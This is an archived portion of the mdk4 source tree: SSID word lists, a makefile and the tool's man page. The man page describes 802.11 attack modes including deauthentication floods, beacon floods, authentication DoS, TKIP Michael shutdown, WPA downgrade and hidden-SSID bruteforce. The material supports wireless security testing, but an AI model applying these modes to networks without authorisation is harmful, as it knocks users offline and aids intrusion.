tkmchissid tlumber18321 tmobile tmp.worldwide Wireless Network tms13114 tojnet tom tombstone tommyb toms airport tomtwo tonawanda tony toshi toy5 tp2002wire tplb02 tps traci trane trans8 traub treatment treehouse treetop trepair triangle trigger638 trimedia_b1 trujillohome trunks try again tsowireless1 tsowireless3 tspeed tsu12ins tsunami tsunami! tuftswireless tumblingc turbonet tus111162 tvc152 twerp tylercvc typhoon tyson ubcsecure ubicomnet uchicago ucsd ucsdhomecare ud-wlan1 ud-wlan9 ugate uhwep uhwep1 uicmc ukyedu umv8d5k1jha uncelfester undersea unext uni25 unissid001 unit501kauffman unonet uofm upstateny uptop usfrskilgore usperoxide usr2249 ussc usscwnap uswn uswochi500 uswomidgwn utexas valenty2 valj vallarta vanguard01 varian_pse veau-valencia vegas vesperman vg@home vhil-dc via_medical via_wireless vicalvi village viper virus visitor vivec.net vlikonindio01 vmddrios vmlabs vndemo vndemo2 vnwire vnwireless vodafone voice voipcom voit voorhees vorstand voy-sip vpn1 vsi w!r3l3ss wabbit wac2111 wacker1 wacker2 wacker3 wacker4 wager waits waitt1 walker wallinlan walther wang-ap wap1 wap1501 warmnsafe warshauer756 water176rr watson_wireless wavelan network wbgwapcad wbi wcd001 wdhppz web-town webpad webputty123 webzonline wedge1 wedge3 wedge5 wedge6 weiserinsurance west west1 west2 westaurora westfaliasurge wfii wftaero wg whitmore.ic.net who-you whodoo wi-thewatchers wildcats willesys william willrose wilson wilsonhouseCCC windu winedarksea wipe wired wirefreehouston wireless wireless home wireless! wireless.yolke.com wireless01 wireless1 wireless2 wireless4 wireless4jrm wireless7 wirelesshome wirelesslan wirelessnetwork wispapwt witc wizard wlan wlansolo wlf wnbu wned17 wold wood woodslan woodteam007 woodyhome workairport workgroup workshare worldcup wpd02162000 wpm wrem wright wrnet1 wsanet wschuller.drdestructo.com wsjenkins wvh home wireless wwrs wxyz wyl1378 xYL0PH0Ne xavier xeiodata7 xlr8tor xmenx xochilt90621belen xprime xxxxxx xxxxxxNetwork 1ee8a0 y0pt-fp8h yale wireless yeahcx yescoap1 yokota yourbank yourmom yuppieNet yw00799 z3w7fsb4 zaknet zetapsi zeus585 zhejiang zionair zippydoda2$ zone7 zooty zs2xdcfvg zugspitze zz ~bean-net ~charterwood$ mdk4-master/useful_files/more-ssids.txt0000644000175000017500000001104513525065636021311 0ustar samuelophsamueloph0 Unknown 04PPk99 0CP2REDS0X 1 101 102 111 11g AP 122 123 130 140 188 188ALT 1cst0ck8 2 2eja5qmd6cna 2wire021 2wire046 2wire122 2wire129 2wire304 2wire384 2wire420 2wire429 2wire468 2wire527 2wire619 2wire633 2wire662 2wire722 2wire746 2wire783 2wire794 2wire824 2wire868 2wire928 3Com 3blindmice 5ECUR3w3p5TOR3 72653 72654 7590000001 @home ACTIONTEC ADSL-WiFi AISD-GUEST ALICE-WLAN AMAT_Prod AMX ANY AP7XR AP_Router ASAP AT&T AT&T Wireless AZRF Access Agere Systems Air2Data AirWave Airport Alex Andrew Apartment Apple Apple Network ArcorWirelessLAN B2B BNDEMO BSU BTOpenzone BWA711 Barney Baymont Belkin Belkin54g BestWestern Blitzz Blue Brian CEDSAP CISCO CMU COMPAQ CONNECT2AIR CapCBR CaseGuest Chris Comcast ConnectionPoint Cottonwood Cox-Hospitality Customer ID D-LINK DAN DLINK DSLWLANModem200 DV201AM Dave DaysInn Draadloos EASE ELSA ESSID51 Ethostream FDSSEC FG04Apr06MBS FRANK FRITZ!Box Fon WLAN FRITZ!Box Fon WLAN 7050 FRITZ!Box Fon WLAN 7141 FRITZ!Box Fon WLAN 7170 FRITZ!Box SL WLAN FRITZ!Box WLAN 3030 FRITZ!Box WLAN 3050 Family FatPort (Non-UBC user) FeatherByEarthLink Free Internet Access Free Public WiFi GDS VCI 01 GPCSTORE GTW Galaxy Gary Gateway GeekSquad GeorgeAP22 GlobalSuiteWireless GlobalSync GoAway GoldenTree Green Guest Guestnet HBS HOMENETWORK HOMEWLAN HOTEL Harvard University Heb1905 Holiday Inn Home AirPort Home Network Home Office HomeNet HomeOffice HomeRun HomeWireless Homestead HotSpot HotelAir HotelNet House I2E_TELBUS_GROS IBM IEEE 802.11 LAN IEEE 802.11b LAN INTERMEC ITS Wireless IU Wireless Instant Internet Intel Gateway Internet Internet Oasis (FREE) JACK JONES James Jason Jim KC_LV_2003 KPN Kelly Kevin Kimpton KiteNet LISA LODGE Lee Library LiteShow LockOn Lucent Outdoor Router MCWN80 MIT MSFTWLAN MSHOME MSUNet Wireless Main Maison Marconi Matt MetroFi-Free Michael Michelle Miller Motorola My Network My Wireless Network A My Wireless Network B N9UF_TEL9COM NESPOT NETGEAR NETGEAR_11g NETWORK NOMAD Netgear1 No current ssid NoWireUC OMNI Office On-Net PANERA PASSYM PATRICK PCX5000 PWLAN1 Pal Paul Philips WiFi Print Server Private PwC80211 RCA RGXLPQSNGBNYVRAK RTC RYAN Richard RoamAbout Default Network Name Robert SILENTWITNESS SITECOM SMARTSIGHT SST-PR-1 STOPS STSN STSN_Conf Sam Scott SiriCOMM SkyHighSpeed Skynet Smith Spark SpeedLinks SpeedStream Speedport W 501V Stanford Super8 SurfandSip T-Mobile_T-Com TA TEKLOGIX TELENETHOTSPOT TELUS TI TI-AR7WRD Telenor Mobil WLAN Telstra Thomson Thuis Topcom Truckstop.neT UBC UCSD UCo UDwireless UIUCnet UPSTAIRS USR5450 USR5461 USR5462 USR8022 USR8054 USR9106 University of Washington Untitled UofM Wireless V1500 Vanilla Verizon Wi-Fi Voice WAG0Nwhee1 WANO WAZASU WAZTempe WLAN WLAN-AP WLAN-PS WLCM WNR2004 WORK WRC_Network WSR-5000 WaveLAN Network Wayport_Access Webstar WiFi Williams Wingate Wireless Wireless Network Wireless1 WirelessNet X-Micro Zoom ZyXEL ^Y acer admin airimba airnet airpath airport network airportthru alpha anderson andy any ssid ap ap1 arescom arwain.net asu attwifi ba2 belgacom benq bestbuy bill bob bridge brown buffalo c42dmga5bcys casa cavalier cci charlie comfort comfortinn comtrend concourse conexant cool cloud cuairnet cvsretail d d0llartree1nc daniel datavalet david davis dd-wrt default default-ssid defcon dgs769157 digitalpath.net dlink_wireless dnawlan e478 ea54 eduroam eric etwireless eurospot fa1779zvpo fanTM fatport flyingj frank fred freedom freedomlink freephonie g3n3r1cw8p george getwifi gigabyte goesh greg guestwifi hawking hhonors hidden ssid hilton holiday holidayinn home home wireless home1 home\wireless homebase homelan homer hp hpsetup hsia hwtvm hyatt ibahn intelwlan jackson jah719 jeff jennifer joe john johnson kaisicher kim laptop laquinta larry linda link linksys linksys-g linksys1 linksys123 linksys2 linksysxx maison mark marriott martin matrix mcsy medion megahoc megahoc.21 megahoc.v22 mike mine mobile monkey mycloud myhome mynet mynetwork mywireless mywlan net netpoint no ssid no_ssid non-specified SSID !! nowireapaccess nowires nuwlan onenet orange orange12 orange13 orange14 osuwireless pennstate peter philips pi07490509x pi07490509x09 pi07490509x09sa pi07490509xsa pocwyg7swean poswireless public pvdorm ramada restricted.utexas.edu roomlinx router sarah sboca scandic_easy signNet skyriver smc smith sonicwall ssid stayonline steve studio suitespeed surfhere swisscom taylor tdc test thomas tigernet tim tmobile tom tony tsunami turbonet typhoon ubcsecure ukyedu uofm usr2249 utexas virus visitor vodafone walker west wilson wireless home wirelesshome wirelesslan workgroup wxyz yale wireless z3w7fsb4 Regency mdk4-master/common.mak0000644000175000017500000000776013525065636015771 0ustar samuelophsamuelophPKG_CONFIG ?= pkg-config ifndef TOOL_PREFIX TOOL_PREFIX = endif ifndef OSNAME OSNAME := $(shell uname -s | sed -e 's/.*CYGWIN.*/cygwin/g' -e 's,/,-,g') endif ifndef SQLITE SQLITE = false endif ifndef LIBAIRPCAP LIBAIRPCAP = endif ifeq ($(OSNAME), cygwin) EXE = .exe PIC = SQLITE = false else EXE = PIC = -fPIC ifndef SQLITE SQLITE = true endif endif COMMON_CFLAGS = ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) COMMON_CFLAGS += -DHAVE_SQLITE endif ifeq ($(pcre), true) PCRE = true endif ifeq ($(PCRE), true) COMMON_CFLAGS += $(shell $(PKG_CONFIG) --cflags libpcre) -DHAVE_PCRE endif ifeq ($(OSNAME), cygwin) COMMON_CFLAGS += -DCYGWIN endif ifeq ($(OSNAME), Linux) ifneq ($(libnl), false) NL3xFOUND := $(shell $(PKG_CONFIG) --atleast-version=3.2 libnl-3.0 && echo Y) ifneq ($(NL3xFOUND),Y) NL31FOUND := $(shell $(PKG_CONFIG) --exact-version=3.1 libnl-3.1 && echo Y) ifneq ($(NL31FOUND),Y) NL3FOUND := $(shell $(PKG_CONFIG) --atleast-version=3 libnl-3.0 && echo Y) endif ifneq ($(NL3FOUND),Y) NL1FOUND := $(shell $(PKG_CONFIG) --atleast-version=1 libnl-1 && echo Y) endif ifneq ($(NL1FOUND),Y) NLTFOUND := $(shell $(PKG_CONFIG) --atleast-version=1 libnl-tiny && echo Y) endif endif ifeq ($(NL1FOUND),Y) NLLIBNAME = libnl-1 COMMON_CFLAGS += -DCONFIG_LIBNL endif ifeq ($(NLTFOUND),Y) NLLIBNAME = libnl-tiny COMMON_CFLAGS += -DCONFIG_LIBNL -DCONFIG_LIBNL20 endif ifeq ($(NL3xFOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL LIBS += -lnl-genl-3 NLLIBNAME = libnl-3.0 endif ifeq ($(NL3FOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL LIBS += -lnl-genl NLLIBNAME = libnl-3.0 endif # nl-3.1 has a broken libnl-gnl-3.1.pc file # as show by pkg-config --debug --libs --cflags --exact-version=3.1 libnl-genl-3.1;echo $? ifeq ($(NL31FOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL LIBS += -lnl-genl NLLIBNAME = libnl-3.1 endif NLLIBNAME ?= $(error Cannot find development files for any supported version of libnl. install either libnl1 or libnl3.) LIBS += $(shell $(PKG_CONFIG) --libs $(NLLIBNAME)) COMMON_CFLAGS +=$(shell $(PKG_CONFIG) --cflags $(NLLIBNAME)) COMMON_CFLAGS := $(COMMON_CFLAGS) endif endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true) LIBAIRPCAP = -DHAVE_AIRPCAP -I$(AC_ROOT)/../developers/Airpcap_Devpack/include endif ifneq ($(origin CC),environment) CC = $(TOOL_PREFIX)gcc endif RANLIB ?= $(TOOL_PREFIX)ranlib ifneq ($(origin AR),environment) AR = $(TOOL_PREFIX)ar endif REVISION = mdk4-v1 REVFLAGS ?= -D_REVISION=$(REVISION) OPTFLAGS = -D_FILE_OFFSET_BITS=64 CFLAGS ?= -g -W -Wall -O3 CFLAGS += $(OPTFLAGS) $(REVFLAGS) $(COMMON_CFLAGS) prefix = /usr/local bindir = $(prefix)/bin sbindir = $(prefix)/sbin mandir = $(prefix)/share/man/man1 smandir = $(prefix)/share/man/man8 datadir = $(prefix)/share docdir = $(datadir)/doc/aircrack-ng libdir = $(prefix)/lib etcdir = $(prefix)/etc/aircrack-ng GCC_OVER41 = $(shell expr 41 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) GCC_OVER45 = $(shell expr 45 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) GCC_OVER49 = $(shell expr 49 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) ifeq ($(GCC_OVER41), 0) GCC_OVER41 = $(shell expr 4.1 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) endif ifeq ($(GCC_OVER45), 0) GCC_OVER45 = $(shell expr 4.5 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) endif ifeq ($(GCC_OVER49), 0) GCC_OVER49 = $(shell expr 4.9 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) endif ifeq ($(GCC_OVER49), 0) ifeq ($(GCC_OVER41), 1) COMMON_CFLAGS += -fstack-protector endif endif ifeq ($(GCC_OVER49), 1) COMMON_CFLAGS += -fstack-protector-strong endif ifeq ($(GCC_OVER45), 1) CFLAGS += -Wno-unused-but-set-variable -Wno-array-bounds endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(duma) $(DUMA))),true) LIBS += -lduma endif mdk4-master/man/0000755000175000017500000000000013525065636014550 5ustar samuelophsamuelophmdk4-master/man/mdk4.10000644000175000017500000001353713525065636015502 0ustar samuelophsamueloph.TH MDK4 1 "February 2018" "mdk4 v1" .SH NAME mdk4 \- IEEE 802.11 PoC tool .SH SYNOPSIS .B mdk4 [ .IR interface ] [ .IR test_mode ] [ .IR test_options ] .SH DESCRIPTION .I mdk4 is a proof-of-concept (PoC) tool to exploit common IEEE 802.11 protocol weaknesses. .SH OPTIONS .B a - Authentication DoS .br Sends authentication frames to all APs found in range. Too many clients freeze or reset almost every AP. .RS .TP .BI -a " ap_mac" Only test an AP with the MAC address .IR ap_mac .TP .BI -m Use valid client MAC address from the OUI database .TP .BI -c Do not check for the test being successful. .TP .BI -i " ap_mac" Perform intelligent test on AP (-a and -c will be ignored): connect clients to an AP with the MAC address .IR ap_mac and reinjects sniffed data to keep them alive .TP .BI -s " rate" Set speed in packets per second to .IR rate (Default: infinity) .RE .B b - Beacon Flood .br Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers! .RS .TP .BI -n " ssid" Use SSID .IR ssid instead of randomly generated ones .TP .BI -f " file" Read SSIDs from .IR file instead of randomly generating them .TP .BI -v " file" Read MACs and SSIDs from .IR file ; cf. example file .TP .BI -d Show station as Ad-Hoc .TP .BI -w Set WEP bit (generate encrypted networks) .TP .BI -g Show stations as 802.11g (54 Mbit) .TP .BI -t Show stations using WPA TKIP encryption .TP .BI -a Show stations using WPA AES encryption .TP .BI -m Use valid accesspoint MACs from OUI database .TP .BI -h Hop to channel where AP is spoofed - this makes the test more effective against some devices/drivers, but it reduces packet rate due to channel hopping .TP .BI -c " chan" Fake an AP on channel .IR chan If you want your card to hop on this channel, you have to set -h option, too! .TP .BI -s " rate" Set speed in packets per second to .IR rate (Default: 50) .RE .B d - Deauthentication / Disassociation Amok Mode .br Kicks everybody found from AP. .RS .TP .BI -w " file" Read MACs from .IR file that are to be unaffected (whitelist mode) .TP .BI -b " file" Read MACs from .IR file that are to be tested on (blacklist mode) .TP .BI -s " rate" Set speed in packets per second to .IR rate (Default: infinity) .TP .BI -c " [chan_1,chan_2,...chan_n]" Enable channel hopping. Without providing any channels, mdk4 will hop an all 14 b/g channels. The current channel will be changed every 5 seconds. .RE .B f - MAC Filter Bruteforce Mode .br This test uses a list of known client MAC addresses and tries to authenticate them to the given AP while dynamically changing the response timeout for best performance. It currently works only on APs which deny an open authentication request properly. .RS .TP .BI -t " bssid" Target .IR bssid .TP .BI -m " mac_prefix" Set the MAC address range .IR mac_prefix (3 bytes, e.g. 00:12:34); without -m, the internal database will be used .TP .BI -f " mac" Begin bruteforcing with MAC address .IR mac (Note: -f and -m cannot be used at the same time) .RE .B g - WPA Downgrade Test .br Deauthenticates Stations and APs sending WPA encrypted packets. With this test you can check if the sysadmin will try setting his network to WEP or disable encryption. mdk4 will let WEP and unencrypted clients work, so if the sysadmin simply thinks "WPA is broken" he sure isn't the right one for this job (this can/should be combined with social engineering). .RS .TP .BI -t " bssid" Target .IR bssid .RE .B m - Michael Shutdown Exploitation (TKIP) .br Cancels all traffic continuously. .RS .TP .BI -t " bssid" Target .IR bssid .TP .BI -w " time" Time .IR time (in seconds) between bursts (Default: 10) .TP .BI -n " ppb" Set packets per burst .IR ppb (Default: 70) .TP .BI -j Use the new TKIP QoS-Exploit - needs just a few packets to shut the AP down! .TP .BI -s " rate" Set speed in packets per second to .IR rate (Default: infinity) .RE .B p - Basic Probing and ESSID Bruteforce Mode .br Probes AP and check for answer, useful for checking if the SSID has been correctly decloaked or if AP is in your adaptor's sending range. Use -f and -t option to enable SSID Bruteforcing. .RS .TP .BI -e " ssid" Probe for .IR bssid .TP .BI -f " file" Read lines from .IR file for bruteforcing hidden SSIDs .TP .BI -t " bssid" Target AP .IR bssid .TP .BI -s " rate" Set speed in packets per second to .IR rate (Normal Default: infinity; Bruteforce Default: 300) .TP .BI -b " character_set" Use full Bruteforce mode based on .IR character_set (recommended for short SSIDs only!) - use this switch only to show its help screen .RE .B w - WIDS/WIPS/WDS Confusion .br Confuses a WDS with multi-authenticated clients, which messes up routing tables. .RS .TP .BI -e " ssid" SSID .IR ssid of target WDS network .TP .BI -c " [chan_1,chan_2,...chan_n]" Enable channel hopping. .TP .BI -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) .RE .B x - 802.1X tests .RS 0 - EAPOL Start packet flooding .RS .TP .BI -n " ssid" Use SSID .IR ssid .TP .BI -t " bssid" Target AP .IR bssid .TP .BI -w " WPA_type" Set WPA type to .IR WPA_type (1: WPA, 2: WPA2/RSN; default: WPA) .TP .BI -u " unicast_cipher_type" Set unicast cipher type to .IR unicast_cipher_type (1: TKIP, 2: CCMP; default: TKIP) .TP .BI -m " multicast_cipher_type" Set multicast cipher type to .IR multicast_cipher_type (1: TKIP, 2: CCMP; default: TKIP) .TP .BI -s " rate" Set speed in packets per second to .IR rate (Default: 400) .RE 1 - EAPOL Logoff test .RS .TP .BI -t " ssid" Set target AP MAC address to .IR ssid .TP .BI -c " bssid" Set target STA MAC address to .IR bssid .TP .BI -s " rate" Set speed in packets per second to .IR rate (Default: 400) .RE .RE .SH AUTHORS .I mdk4 was written by E7mer, Pedro Larbig (ASPj) with contributions from the aircrack-ng community: Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape, telek0miker, Le_Vert, sorbo, Andy Green, bahathir, Dawid Gajownik and Ruslan Nabioullin.